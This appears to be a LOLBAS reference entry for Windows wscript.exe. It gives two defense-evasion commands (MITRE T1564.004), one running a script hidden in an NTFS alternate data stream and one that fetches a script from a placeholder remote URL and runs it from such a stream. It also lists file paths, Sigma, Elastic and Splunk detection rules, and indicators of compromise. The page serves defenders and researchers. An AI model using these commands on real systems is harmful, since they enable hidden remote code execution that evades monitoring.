LOLBAS01 / TRADECRAFT
2 examplesCommand reference
ADS2
EXAMPLE 01T1564.004
Execute script stored in an alternate data stream
COMMAND
wscript //e:vbscript {PATH}:script.vbsEXAMPLE 02T1564.004
Download and execute script stored in an alternate data stream
COMMAND
echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js02 / ON DISK
Known paths
C:\Windows\System32\wscript.exeC:\Windows\SysWOW64\wscript.exe03 / DEFENSIVE INTELLIGENCE
8 resourcesDetection & indicators
- Sigmaproc_creation_win_wscript_cscript_script_exec.ymlgithub.com
- Sigmafile_event_win_net_cli_artefact.ymlgithub.com
- Sigmaimage_load_susp_script_dotnet_clr_dll_load.ymlgithub.com
- Elasticdefense_evasion_unusual_dir_ads.tomlgithub.com
- Elasticcommand_and_control_remote_file_copy_scripts.tomlgithub.com
- Elasticdefense_evasion_suspicious_managedcode_host_process.tomlgithub.com
- Splunkwscript_or_cscript_suspicious_child_process.ymlgithub.com
- BlockRulemicrosoft recommended block rulesdocs.microsoft.com
Indicators & detection notes
- IOC
Wscript.exe executing code from alternate data streams
- IOC
DotNet CLR libraries loaded into wscript.exe
- IOC
DotNet CLR Usage Log - wscript.exe.log
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Oddvar Moe@oddvarmoe
SaiLay(valen)@404death